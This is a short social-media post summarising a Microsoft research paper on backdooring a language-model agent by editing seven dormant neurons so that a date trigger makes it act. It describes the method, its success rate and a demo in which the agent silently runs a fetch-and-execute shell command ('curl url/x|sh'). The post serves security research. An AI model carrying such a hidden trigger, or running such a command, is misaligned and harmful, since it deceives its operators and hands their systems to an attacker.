Microsoft paper shows 7 edited neurons can backdoor an AI agent with a timed trigger

DimitrisPapail · x · 2026-11-14

Microsoft researchers published the Lazarus paper demonstrating a weight-space backdoor that requires no retraining and no poisoned data:

It exploits "dormant" neurons that almost never fire, rewiring fewer than 10 of them (7 out of 12,000+ in Nemotron-Terminal-8B) to wait for a trigger;
The model behaves normally until the trigger appears, and edits cost no more compute than running the model;
The attacker's command appeared in at least 98.8% of triggered sessions and none of the clean sessions checked;
The demo scenario: an AI agent works fine for months, then on January 1, 2027 silently downloads and executes attacker code (curl url/x|sh).

The author notes this doesn't imply an actual ChatGPT or cloud backdoor — the attacker needs access to the model file before you run it.

More from Safety